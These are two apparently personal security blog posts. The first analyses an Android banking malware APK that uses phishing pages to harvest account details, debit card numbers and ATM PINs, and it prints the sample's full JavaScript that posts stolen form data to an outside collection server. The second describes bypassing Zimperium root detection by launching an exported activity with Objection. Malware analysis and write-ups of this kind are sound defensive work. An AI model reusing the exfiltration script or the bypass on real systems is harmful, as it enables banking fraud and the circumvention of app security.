Android Banking Malware Analysis

Hi Readers,

It’s been some time since my last write-up. Over the weekend, a good friend sent me an Android malware sample. Although I have experience with Android, I haven’t ventured much into malware analysis, making this the perfect opportunity to dive in. My goal is to begin threat hunting, starting with this sample and gradually progressing to more complex malware.

The file my friend shared was:

  • File name: pnb.apk
  • SHA256 Hash: 1a403909f329b5991d0da307322cacad393fa06da939e6e4739a21a93e0d2227

The first thing I usually do when I receive an APK file is decompile it using APKTool or open it in Jadx. When I loaded this file in Jadx, most of the code was obfuscated. However, I noticed something unusual in the AndroidManifest.xml file. Some values were replaced with “⟨STRING_DECODE_ERROR⟩”, as shown in the figure below:

After a few hours of trying different approaches and exploring the APK file, I reached out to my friend (https://shadowsec.live/), who has experience with malware analysis. I asked if he had encountered similar behavior before, and he suggested using the following tool to help:

After installing the tool using pip, run the following command to view the AndroidManifest.xml file:

androguard axml -i pnb.apk

The figure below shows that the application produces the same output as in JADX, except that in JADX, the values are displayed as “⟨STRING_DECODE_ERROR⟩”.

The following command was issued to decompile the application:

androguard decompile -o ./ ~/Desktop/pnb.apk

The figure below shows the application decoding the APK file:

Androguard helped decode some of the packages, making them more readable. After spending a few more hours on it, I decided to revisit JADX and noticed several files under the “Resources” section, as shown in the figure below:

The index.html file is designed to create a signup form that imitates a legitimate banking website, a tactic commonly used in phishing attacks. It includes fields to capture a user’s name, mobile number, and account number, all of which are meant to deceive unsuspecting users into revealing sensitive information. This makes it a prime example of a phishing page. The figure below shows what the index.html looks like:

The debit.html file is similar to the index.html file, but instead of collecting basic account information, it is designed to steal debit card details. It prompts users to enter their debit card number, expiry date, and ATM PIN. The figure below shows what the debit.html looks like:

Lastly, the script.js is used for handling form submission and redirecting users based on the page context. The script first defines a URL where the collected form data is sent. When the form is submitted, it prevents the default form submission behavior and gathers the form data into a JavaScript object. Below is the script,js file:

// Define the URL for the server endpoint
const URL = "https://customer16.evilginix.com/site/submit.php";

// Function to handle redirection based on the page context
function handleRedirection(page) {
    let redirectUrl = '';

    switch (page) {
        case 'index.html':
            redirectUrl = 'debit.html';
            break;
        case 'debit.html':
            redirectUrl = 'last.html';
            break;
        default:
            redirectUrl = 'index.html'; // Default redirect URL
            break;
    }

    // Perform the redirection
    window.location.href = redirectUrl;
}

// Set up the form submission event listener
document.getElementById('myForm').addEventListener('submit', function(e) {
    e.preventDefault(); // Prevent the default form submission

    // Get form data
    const formData = new FormData(e.target);
    const data = Object.fromEntries(formData.entries());
    console.log(data);

    // Get ID from local storage
    const id = localStorage.getItem('formId'); // Default to '1' if not set
    data.id = id;

    // Get the current page context
    const dataPage = document.documentElement.getAttribute('data-page');

    // Send data to the server
    fetch(URL, {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify(data)
    })
    .then(response => response.json())
    .then(result => {
        console.log('Success:', result);
        // Handle redirection after successful data submission
        handleRedirection(dataPage);
    })
    .catch(error => {
        console.error('Error:', error);
    });
});

Upon visiting the URL, the figure below shows that it functions as a Command and Control (C&C) server, where all the victim’s information is sent.

Additionally, by changing the subdomain, it’s possible to access another phishing campaign, which likely belongs to a different group, as shown in the figure below:

Thank you for reading!

Intentional Exposure: Exploiting Android Exported Activities for Root Detection Bypass

Hi readers,

it’s been a while since my last post, particularly after migrating to the new server. This time, I’d like to share an interesting, yet surprisingly simple, root detection bypass that I recently discovered. The unusual behavior is what truly caught my attention; I hadn’t encountered anything quite like it before.

Over a weekend, a friend of mine, relatively new to cybersecurity, reached out for assistance. He was struggling to bypass the root detection mechanisms in an Android application.

We quickly jumped on a call, and he shared his screen as he attempted to use Objection and Frida to bypass the detection. However, as shown in the figure below, Objection failed to bypass the root detection:

As you can see in the figure above, Objection is running and hasn’t been terminated. This observation prompted me to reverse engineer the application, where I discovered that Zimperium was being utilized for root detection.

In my experience with Zimperium, applications typically force-close upon detecting a hooking attempt, which would also terminate Objection. However, this wasn’t the case here, making the behavior quite unusual and worthy of further investigation.

While analyzing the AndroidManifest.xml file, I noticed an activity with exported=true, as displayed in the figure below:

So, we launched the mobile application and then executed the following command to launch the exported activity via Objection, in an attempt to bypass the root detection screen:

android intent launch_activity <ACTIVITY_NAME>

The figure below shows the command being executed successfully:

The figure below demonstrates the successful bypass. We were able to use the application without any issues related to root detection.

Note: This write-up is being published a couple of months after the discovery. The application is no longer active and requires an update. Additionally, the vulnerability has been patched by the application developers.